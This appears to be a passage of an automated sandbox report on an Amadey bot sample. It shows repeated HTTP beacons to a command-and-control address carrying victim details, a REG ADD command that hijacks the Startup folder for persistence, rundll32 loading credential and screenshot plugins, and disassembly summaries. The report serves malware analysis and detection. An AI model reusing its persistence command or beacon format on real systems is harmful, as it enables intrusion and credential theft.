Apr 28, 2021 23:22:37.780479908 CEST	1859	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:37 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
950	192.168.2.5	50281	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
951	176.111.174.114	80	192.168.2.5	50281	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
952	192.168.2.5	50282	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
953	192.168.2.5	50283	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
954	176.111.174.114	80	192.168.2.5	50283	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
955	176.111.174.114	80	192.168.2.5	50282	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
956	192.168.2.5	50285	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
957	176.111.174.114	80	192.168.2.5	50285	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
958	192.168.2.5	50287	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
959	176.111.174.114	80	192.168.2.5	50287	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.5	49766	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:37.989062071 CEST	1869	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
960	192.168.2.5	50289	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
961	176.111.174.114	80	192.168.2.5	50289	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
962	192.168.2.5	50290	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
963	176.111.174.114	80	192.168.2.5	50290	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
964	192.168.2.5	50292	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
965	176.111.174.114	80	192.168.2.5	50292	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
966	192.168.2.5	50294	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
967	176.111.174.114	80	192.168.2.5	50294	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
968	192.168.2.5	50296	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
969	176.111.174.114	80	192.168.2.5	50296	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	176.111.174.114	80	192.168.2.5	49766	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:38.090667009 CEST	1870	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:38 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
970	192.168.2.5	50297	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
971	176.111.174.114	80	192.168.2.5	50297	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
972	192.168.2.5	50298	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
973	176.111.174.114	80	192.168.2.5	50298	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
974	192.168.2.5	50300	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
975	192.168.2.5	50301	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
976	176.111.174.114	80	192.168.2.5	50301	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
977	192.168.2.5	50302	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
978	176.111.174.114	80	192.168.2.5	50300	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
979	176.111.174.114	80	192.168.2.5	50302	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.5	49767	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:38.306965113 CEST	1878	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
980	192.168.2.5	50304	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
981	176.111.174.114	80	192.168.2.5	50304	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
982	192.168.2.5	50305	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
983	176.111.174.114	80	192.168.2.5	50305	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
984	192.168.2.5	50307	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
985	176.111.174.114	80	192.168.2.5	50307	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
986	192.168.2.5	50308	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
987	176.111.174.114	80	192.168.2.5	50308	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
988	192.168.2.5	50311	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
989	176.111.174.114	80	192.168.2.5	50311	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	176.111.174.114	80	192.168.2.5	49767	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:38.409638882 CEST	1885	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:38 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
990	192.168.2.5	50312	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
991	176.111.174.114	80	192.168.2.5	50312	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
992	192.168.2.5	50313	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
993	176.111.174.114	80	192.168.2.5	50313	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
994	192.168.2.5	50314	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
995	176.111.174.114	80	192.168.2.5	50314	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
996	192.168.2.5	50316	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
997	192.168.2.5	50317	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
998	176.111.174.114	80	192.168.2.5	50316	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
999	192.168.2.5	50318	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe PID: 5824 Parent PID: 5708

General

Start time:	23:22:11
Start date:	28/04/2021
Path:	C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe'
Imagebase:	0x400000
File size:	290304 bytes
MD5 hash:	31AB82365078548DCEA62DA7C2380B2E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: blfte.exe PID: 6156 Parent PID: 5824

General

Start time:	23:22:16
Start date:	28/04/2021
Path:	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe'
Imagebase:	0x400000
File size:	290304 bytes
MD5 hash:	31AB82365078548DCEA62DA7C2380B2E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000003.00000002.750421474.00000000006C0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000003.00000002.756024475.0000000002DD0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000003.00000002.750389865.0000000000694000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: cmd.exe PID: 6232 Parent PID: 6156

General

Start time:	23:22:21
Start date:	28/04/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\cmd.exe' /C REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\e90e419c61\
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 6240 Parent PID: 6232

General

Start time:	23:22:21
Start date:	28/04/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: reg.exe PID: 6288 Parent PID: 6232

General

Start time:	23:22:22
Start date:	28/04/2021
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\e90e419c61\
Imagebase:	0x8a0000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6616 Parent PID: 6156

General

Start time:	23:22:32
Start date:	28/04/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\rundll32.exe' C:\ProgramData\1a9f26b569d5df\cred.dll, Main
Imagebase:	0xf30000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 7120 Parent PID: 6156

General

Start time:	23:22:43
Start date:	28/04/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\rundll32.exe' C:\ProgramData\1a9f26b569d5df\scr.dll, Main
Imagebase:	0x160000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe PID: 5824 Parent PID: 5708 b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exeCOMMON

Executed Functions

Function 00401C20, Relevance: 27.2, APIs: 18, Instructions: 157memoryCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(00000000,?), ref: 00401C4A
GetProcessHeap.KERNEL32(00000008,?), ref: 00401C5F
HeapAlloc.KERNEL32(00000000), ref: 00401C62
GetUserNameW.ADVAPI32(00000000,?), ref: 00401C70
LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 00401C93
GetProcessHeap.KERNEL32(00000008,?), ref: 00401C9E
HeapAlloc.KERNEL32(00000000), ref: 00401CA1
GetProcessHeap.KERNEL32(00000008,?), ref: 00401CB1
HeapAlloc.KERNEL32(00000000), ref: 00401CB4
LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 00401CDE
ConvertSidToStringSidW.ADVAPI32(00000000,00000000), ref: 00401CF1
GetProcessHeap.KERNEL32(00000000,?), ref: 00401D82
HeapFree.KERNEL32(00000000), ref: 00401D8B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401D90
HeapFree.KERNEL32(00000000), ref: 00401D93
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401D9A
HeapFree.KERNEL32(00000000), ref: 00401D9D
LocalFree.KERNEL32(00000000), ref: 00401DA2

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$Process$FreeName$Alloc$AccountLookupUser$ConvertLocalString
String ID:
API String ID: 3326663573-0
Opcode ID: d989b31cdadf4881c8b22190d5f77fef550ca1f383c0ffd40c6c968102a870e3
Instruction ID: 5d740cbccbc7aecd9424c2ab973b1f5715f8ce92cc64a7cb0e2c3ceeedde85f2
Opcode Fuzzy Hash: d989b31cdadf4881c8b22190d5f77fef550ca1f383c0ffd40c6c968102a870e3
Instruction Fuzzy Hash: 04516075E00209ABDB20DFA5CC84FAFBBBDEF44344F15456AE905A3250EB749E05CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00411081, Relevance: 4.5, APIs: 3, Instructions: 20COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,00411080,?,?,?,?,?,00412132), ref: 004110A3
TerminateProcess.KERNEL32(00000000,?,00411080,?,?,?,?,?,00412132), ref: 004110AA
ExitProcess.KERNEL32 ref: 004110BC

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 3eade875429b4c25a88e23b0c1fba08e4b47918bb5697763b1cada1f7b41c300
Instruction ID: 50680f15ab9b15ff87f6c82859258ed70eac0a4c7dfe96ecd2ef0c59ded76f42
Opcode Fuzzy Hash: 3eade875429b4c25a88e23b0c1fba08e4b47918bb5697763b1cada1f7b41c300
Instruction Fuzzy Hash: 86E04F31500184ABCF216F14CC09E993F68FB44741B410425FA0487632CB39EDD2CA9D

Uniqueness

Uniqueness Score: -1.00%

Function 0223092B, Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

GetProcAddress., xrefs: 022309DC, 022309DF, 022309E4
l, xrefs: 02230966
., xrefs: 0223095F

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: b8e3e86e4eb87d186999a2c987f41bb8ceccb0cbd36f8d5e4338391f97e9b442
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: F4314CB6910609DFDB21CF99C880AAEBBF5FF48724F15404AD441AB314D7B1EA45CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041970A, Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 301COMMON

Download Yara Rule

Strings

, xrefs: 00419992

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: 548ea8f17ee68c25f223faa3eebc45d470ae6910dd96d4723a57196b3270c389
Instruction ID: 68eb4cd5866e5da1edd4d9018ae4073d6158bda8aeb178e670a8a67cab436560
Opcode Fuzzy Hash: 548ea8f17ee68c25f223faa3eebc45d470ae6910dd96d4723a57196b3270c389
Instruction Fuzzy Hash: 2DC104B0A042459FCF15DF99C890BEEBBB4AF49304F04416EE905A7392C7789D86CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 0041CAB7, Relevance: 13.8, APIs: 9, Instructions: 273COMMON

Download Yara Rule

APIs

Part of subcall function 0041C770: CreateFileW.KERNELBASE(00000000,00000000,?,0041CB60,?,?,00000000,?,0041CB60,00000000,0000000C), ref: 0041C78D

GetLastError.KERNEL32 ref: 0041CBCB
__dosmaperr.LIBCMT ref: 0041CBD2
GetFileType.KERNELBASE(00000000), ref: 0041CBDE
GetLastError.KERNEL32 ref: 0041CBE8
__dosmaperr.LIBCMT ref: 0041CBF1
CloseHandle.KERNEL32(00000000), ref: 0041CC11
CloseHandle.KERNEL32(?), ref: 0041CD5E
GetLastError.KERNEL32 ref: 0041CD90
__dosmaperr.LIBCMT ref: 0041CD97

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID:
API String ID: 4237864984-0
Opcode ID: 7d100adb8ef57272e29c30100c41ee3dcb7b23529d4f1c6e2bc366b466240ade
Instruction ID: 9a888166caf7c729a04a6387afd24b78d2efbf651294ef369ed2e80490bd9623
Opcode Fuzzy Hash: 7d100adb8ef57272e29c30100c41ee3dcb7b23529d4f1c6e2bc366b466240ade
Instruction Fuzzy Hash: 13A14832A441448FCF29DF68DC91BEE3BB1AB06324F14016EE815EB391D7389C96CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0223003C, Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0223024D

Strings

cess, xrefs: 0223018D
kernel32.dll, xrefs: 0223008F, 02230095

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: 86b9cc226d8342aaa261e518690e5eea012925a4716f1a57e1fa8fcbe13a37a1
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: 80527DB5A11229DFDB65CF98C984BACBBB1BF09304F1480D9E50DA7355DB30AA85CF24

Uniqueness

Uniqueness Score: -1.00%

Function 00407022, Relevance: 12.1, APIs: 3, Strings: 3, Instructions: 1618COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00407AC6

Part of subcall function 004041F0: GetTempPathW.KERNEL32(00000104,?,?,?,?), ref: 0040442F

Strings

invalid stoi argument, xrefs: 00407AC1, 00408575, 00408584
stoi argument out of range, xrefs: 00407ACB, 0040858E
:::, xrefs: 00407B09, 00407B7D

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: PathTempXinvalid_argumentstd::_
String ID: :::$invalid stoi argument$stoi argument out of range
API String ID: 3948722134-1139504419
Opcode ID: ef58b5d7b2fc2acf2be8bd46d1d8b743e7a326cfe730c96aeb804ab7eba5e123
Instruction ID: 5a21870a1b3f15e693a5e1c71f5c19b149470408a097e6d1e3dfe317378d5c93
Opcode Fuzzy Hash: ef58b5d7b2fc2acf2be8bd46d1d8b743e7a326cfe730c96aeb804ab7eba5e123
Instruction Fuzzy Hash: A9C21671E1010897EB18DF78CD8579D7B62AF81304F50862EF849A73C6DB3D9AC48B99

Uniqueness

Uniqueness Score: -1.00%

Function 00406AA0, Relevance: 4.7, APIs: 3, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: PathTemp
String ID:
API String ID: 2920410445-0
Opcode ID: 23b0e9fffb570bd23e9ba4d4b97d6b6ddba1e16fe5578a4b4f0ee9eb49260719
Instruction ID: 11c41e0c62b493da908bae2c5f8d30217ed4bb9da9ed4355a594f427151aa790
Opcode Fuzzy Hash: 23b0e9fffb570bd23e9ba4d4b97d6b6ddba1e16fe5578a4b4f0ee9eb49260719
Instruction Fuzzy Hash: 1F712370E00208CBEF04DFA8D985BDEBB75EF41308F60056AE415772C2D779A99ACB95

Uniqueness

Uniqueness Score: -1.00%

Function 00417B82, Relevance: 4.7, APIs: 3, Instructions: 177fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00417317: GetConsoleCP.KERNEL32(?,00403AF0,00000000), ref: 0041735F

WriteFile.KERNELBASE(?,00000000,0042CEB8,?,00000000,?,00403AF0,00403AF0,00403AF0,?,?,?,00411385,?,0042CEB8,00000010), ref: 00417CD3
GetLastError.KERNEL32(?,00403AF0,00403AF0,00403AF0,?,?,?,00411385,?,0042CEB8,00000010,00403AF0), ref: 00417CDD
__dosmaperr.LIBCMT ref: 00417D22

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: ConsoleErrorFileLastWrite__dosmaperr
String ID:
API String ID: 251514795-0
Opcode ID: 88ed46c356648d2431f951e701bd50101076533be664df1bdc63266b39295ba1
Instruction ID: 36d9eabd3e715f6953566ed8e5b4e0fbe87fa1013ae511c99846ca3037606271
Opcode Fuzzy Hash: 88ed46c356648d2431f951e701bd50101076533be664df1bdc63266b39295ba1
Instruction Fuzzy Hash: 3951E671A0810AABDB109FA5C845BEE7B79EF09318F140457E500A7252E779D9C1C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 00415614, Relevance: 4.6, APIs: 3, Instructions: 61COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(00000000,00000000,00403AF0,?,00415542,00403AF0,0042CFD8,0000000C,004155F4,0042CEB8), ref: 0041566A
GetLastError.KERNEL32(?,00415542,00403AF0,0042CFD8,0000000C,004155F4,0042CEB8), ref: 00415674
__dosmaperr.LIBCMT ref: 0041569F

